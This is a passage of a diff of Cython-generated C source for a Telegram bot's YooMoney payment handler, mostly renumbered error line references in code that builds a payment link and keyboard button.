__Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3)) __PYX_ERR(0, 95, __pyx_L1_error); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 95, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 95, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_14 = NULL; __pyx_t_5 = 0; @@ -4607,14 +4618,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_14, NULL}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 96, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_4) < 0) __PYX_ERR(0, 95, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_4) < 0) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -4630,20 +4641,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_generator->resume_label = 5; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 93, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 95, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 93, __pyx_L1_error) + else __PYX_ERR(0, 95, __pyx_L1_error) } } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_choosing_amount_yoomoney); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_choosing_amount_yoomoney); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -4665,7 +4676,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 99, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4680,12 +4691,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_generator->resume_label = 6; return __pyx_r; __pyx_L16_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 99, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 101, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 99, __pyx_L1_error) + else __PYX_ERR(0, 101, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -4775,7 +4786,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 104, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 106, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -4783,14 +4794,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 104, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 106, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 104, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 106, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 104, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 106, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -4803,7 +4814,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 104, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 106, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -4842,7 +4853,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_3process_amount_sel if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 104, __pyx_L1_error) + __PYX_ERR(0, 106, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -4853,7 +4864,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_3process_amount_sel __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -4903,21 +4914,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 104, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 106, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 112, __pyx_L1_error) __pyx_t_4 = (__pyx_t_3 != 2); if (__pyx_t_4) { @@ -4927,7 +4938,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C } - __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; @@ -4940,7 +4951,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __Pyx_XGOTREF(__pyx_t_7); /*try:*/ { - __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L5_error) + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; @@ -4958,7 +4969,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_8) { __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 116, __pyx_L7_except_error) + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 118, __pyx_L7_except_error) __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_9); @@ -4987,12 +4998,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_L10_try_end:; } - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 119, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 119, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 121, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -5007,21 +5018,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L13_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 119, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 121, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 119, __pyx_L1_error) + else __PYX_ERR(0, 121, __pyx_L1_error) } } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 121, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; @@ -5043,7 +5054,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5058,34 +5069,34 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L14_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 120, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 122, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 120, __pyx_L1_error) + else __PYX_ERR(0, 122, __pyx_L1_error) } } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_1; __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_account_id = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = 0; __pyx_t_12 = 127; @@ -5093,7 +5104,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_t_3 += 50; __Pyx_GIVEREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_https_yoomoney_ru_quickpay_confi); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_account_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_account_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); @@ -5104,7 +5115,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_t_3 += 33; __Pyx_GIVEREF(__pyx_kp_u_quickpay_form_shop_targets_sum); PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_quickpay_form_shop_targets_sum); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); @@ -5116,80 +5127,83 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_t_3 += 49; __Pyx_GIVEREF(__pyx_kp_u_paymentType_PC_comment_label); PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_kp_u_paymentType_PC_comment_label); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 6, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 6, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_payment_url = ((PyObject*)__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 128, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 130, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_n_u__8) < 0) __PYX_ERR(0, 130, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_WebAppInfo); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 130, __pyx_L1_error) + if 